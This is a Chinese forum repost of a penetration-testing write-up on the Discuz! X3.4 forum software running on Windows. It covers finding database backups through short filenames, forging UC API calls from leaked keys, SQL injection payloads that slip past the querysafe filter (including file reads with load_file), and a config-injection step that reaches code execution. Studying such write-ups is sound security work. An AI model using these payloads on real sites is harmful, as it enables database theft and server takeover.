发表于 2020-5-21 20:46:35
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空指针：Base on windows Writeup——最新版DZ3.4实战渗透
作者：LoRexxar’@知道创宇404实验室authkey有什么用？ / ------------------------- CONFIG SECURITY -------------------------- // $_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';$username = "ddog"; $uid = 51;
$saltkey = "SuPq5mmP";
$config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E";
$authkey = md5($config_authkey.$saltkey);
$formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey."".""), 8, 8);windows短文件名安全问题 在2019年8月，dz曾爆出过这样一个问题。Windows下的”你画我猜” — 告别效率低下的目录扫描方法 /data/backup_xxxxxx/200509_xxxxxx-1.sqlhttp://xxxxx/data/backup~1/200507~2.sqluckey x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5
authkey
87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5Euc.php api 利用 这里我们主要关注/api/uc.php
空指针：Base on windows Writeup——最新版DZ3.4实战渗透
通过UC_KEY来计算code，然后通过authkey计算formhash，我们就可以调用当前api下的任意函数，而在这个api下有几个比较重要的操作。https://paper.seebug.org/1144/#getwebshell https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2 if($post['UC_API']) { $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);
}如何进入DZ后台？ 首先我们必须明白，DZ的前后台账户体系是分离的，包括uc api在内的多处功能，login都只能登录前台账户，1、配合报错注入的攻击链 继续研究uc.php，我在renameuser中找到一个注入点。function renameuser($get, $post) { global $_G;
if(!API_RENAMEUSER) {
return API_RETURN_FORBIDDEN;
}
$tables = array(
'common_block' => array('id' => 'uid', 'name' => 'username'),
'common_invite' => array('id' => 'fuid', 'name' => 'fusername'),
'common_member_verify_info' => array('id' => 'uid', 'name' => 'username'),
'common_mytask' => array('id' => 'uid', 'name' => 'username'),
'common_report' => array('id' => 'uid', 'name' => 'username'),
'forum_thread' => array('id' => 'authorid', 'name' => 'author'),
'forum_activityapply' => array('id' => 'uid', 'name' => 'username'),
'forum_groupuser' => array('id' => 'uid', 'name' => 'username'),
'forum_pollvoter' => array('id' => 'uid', 'name' => 'username'),
'forum_post' => array('id' => 'authorid', 'name' => 'author'),
'forum_postcomment' => array('id' => 'authorid', 'name' => 'author'),
'forum_ratelog' => array('id' => 'uid', 'name' => 'username'),
'home_album' => array('id' => 'uid', 'name' => 'username'),
'home_blog' => array('id' => 'uid', 'name' => 'username'),
'home_clickuser' => array('id' => 'uid', 'name' => 'username'),
'home_docomment' => array('id' => 'uid', 'name' => 'username'),
'home_doing' => array('id' => 'uid', 'name' => 'username'),
'home_feed' => array('id' => 'uid', 'name' => 'username'),
'home_feed_app' => array('id' => 'uid', 'name' => 'username'),
'home_friend' => array('id' => 'fuid', 'name' => 'fusername'),
'home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'),
'home_notification' => array('id' => 'authorid', 'name' => 'author'),
'home_pic' => array('id' => 'uid', 'name' => 'username'),
'home_poke' => array('id' => 'fromuid', 'name' => 'fromusername'),
'home_share' => array('id' => 'uid', 'name' => 'username'),
'home_show' => array('id' => 'uid', 'name' => 'username'),
'home_specialuser' => array('id' => 'uid', 'name' => 'username'),
'home_visitor' => array('id' => 'vuid', 'name' => 'vusername'),
'portal_article_title' => array('id' => 'uid', 'name' => 'username'),
'portal_comment' => array('id' => 'uid', 'name' => 'username'),
'portal_topic' => array('id' => 'uid', 'name' => 'username'),
'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'),
);
if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) && isset($_G['setting']['membersplit'])){
C::t('common_member_archive')->update($get['uid'], array('username' => $get[newusername]));
}
loadcache("posttableids");
if($_G['cache']['posttableids']) {
foreach($_G['cache']['posttableids'] AS $tableid) {
$tables[getposttable($tableid)] = array('id' => 'authorid', 'name' => 'author');
}
}
foreach($tables as $table => $conf) {
DB::query("UPDATE ".DB::table($table)." SET `$conf[name]`='$get[newusername]' WHERE `$conf[id]`='$get[uid]'");
}
return API_RETURN_SUCCEED;
}$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';\source\class\discuz\discuz_database.php line 375 if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false && strpos($sql, '"') === false) {
$clean = preg_replace("/'(.+?)'/s", '', $sql);
} else {
$len = strlen($sql);
$mark = $clean = '';
for ($i = 0; $i < $len; $i++) {
$str = $sql[$i];
switch ($str) {
case '`':
if(!$mark) {
$mark = '`';
$clean .= $str;
} elseif ($mark == '`') {
$mark = '';
}
break;
case '\'':
if (!$mark) {
$mark = '\'';
$clean .= $str;
} elseif ($mark == '\'') {
$mark = '';
}
break;
case '/':
if (empty($mark) && $sql[$i + 1] == '*') {
$mark = '/*';
$clean .= $mark;
$i++;
} elseif ($mark == '/*' && $sql[$i - 1] == '*') {
$mark = '';
$clean .= '*';
}
break;
case '#':
if (empty($mark)) {
$mark = $str;
$clean .= $str;
}
break;
case "\n":
if ($mark == '#' || $mark == '--') {
$mark = '';
}
break;
case '-':
if (empty($mark) && substr($sql, $i, 3) == '-- ') {
$mark = '-- ';
$clean .= $mark;
}
break;
default:
break;
}
$clean .= $mark ? '' : $str;
}
}
if(strpos($clean, '@') !== false) {
return '-3';
}
$clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));
if (self::$config['afullnote']) {
$clean = str_replace('/**/', '', $clean);
}
if (is_array(self::$config['dfunction'])) {
foreach (self::$config['dfunction'] as $fun) {
if (strpos($clean, $fun . '(') !== false)
return '-1';
}
}
if (is_array(self::$config['daction'])) {
foreach (self::$config['daction'] as $action) {
if (strpos($clean, $action) !== false)
return '-3';
}
}
if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {
return '-2';
}
if (is_array(self::$config['dnote'])) {
foreach (self::$config['dnote'] as $note) {
if (strpos($clean, $note) !== false)
return '-4';
}
}$_config['security']['querysafe']['dfunction']['0'] = 'load_file'; $_config['security']['querysafe']['dfunction']['1'] = 'hex';
$_config['security']['querysafe']['dfunction']['2'] = 'substring';
$_config['security']['querysafe']['dfunction']['3'] = 'if';
$_config['security']['querysafe']['dfunction']['4'] = 'ord';
$_config['security']['querysafe']['dfunction']['5'] = 'char';
$_config['security']['querysafe']['daction']['0'] = '@';
$_config['security']['querysafe']['daction']['1'] = 'intooutfile';
$_config['security']['querysafe']['daction']['2'] = 'intodumpfile';
$_config['security']['querysafe']['daction']['3'] = 'unionselect';
$_config['security']['querysafe']['daction']['4'] = '(select';
$_config['security']['querysafe']['daction']['5'] = 'unionall';
$_config['security']['querysafe']['daction']['6'] = 'uniondistinct';
$_config['security']['querysafe']['dnote']['0'] = '/*';
$_config['security']['querysafe']['dnote']['1'] = '*/';
$_config['security']['querysafe']['dnote']['2'] = '#';
$_config['security']['querysafe']['dnote']['3'] = '--';
$_config['security']['querysafe']['dnote']['4'] = '"'; if (self::$config['afullnote']) { $clean = str_replace('/**/', '', $clean);
}$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';- /wamp64/www/ - /phpstudy_pro/WWW/ function sid_encode($username) { $ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$check = substr(md5($ip.$agent), 0, 8);
return rawurlencode($this->authcode("$username\t$check", 'ENCODE', $authkey, 1800));
}
function sid_decode($sid) {
$ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);
if(empty($s)) {
return FALSE;
}
@list($username, $check) = explode("\t", $s);
if($check == substr(md5($ip.$agent), 0, 8)) {
return $username;
} else {
return FALSE;
}
}2、使用数据库备份还原修改密码 事实上，当上一种攻击方式跟到uc server的UC_KEY时，就不难发现，在/uc_server/api/dbbak.php中有许多关于数据库备份与恢复的操作，这也是我之前没发现的点。后台getshell 登录了之后就比较简单了，首先
空指针：Base on windows Writeup——最新版DZ3.4实战渗透
修改uc api 为http://127.0.0.1/uc_server');phpinfo();//
空指针：Base on windows Writeup——最新版DZ3.4实战渗透
这里返回11就可以了
空指针：Base on windows Writeup——最新版DZ3.4实战渗透
写在最后 整道题目主要围绕的DZ的核心密钥安全体系，实际上除了在windows环境下，几乎没有其他的特异条件，再加上短文件名问题原因主要在服务端，我们很容易找到备份文件，在找到备份文件之后，我们可以直接从数据库获得最重要的authkey和uc key，接下来的渗透过程就顺理成章了。REF https://paper.seebug.org/1144/ https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2 https://lorexxar.cn/2017/08/31/dz-authkey/
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发表于 2020-5-21 20:46:35
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查看: 2512|
回复: 0
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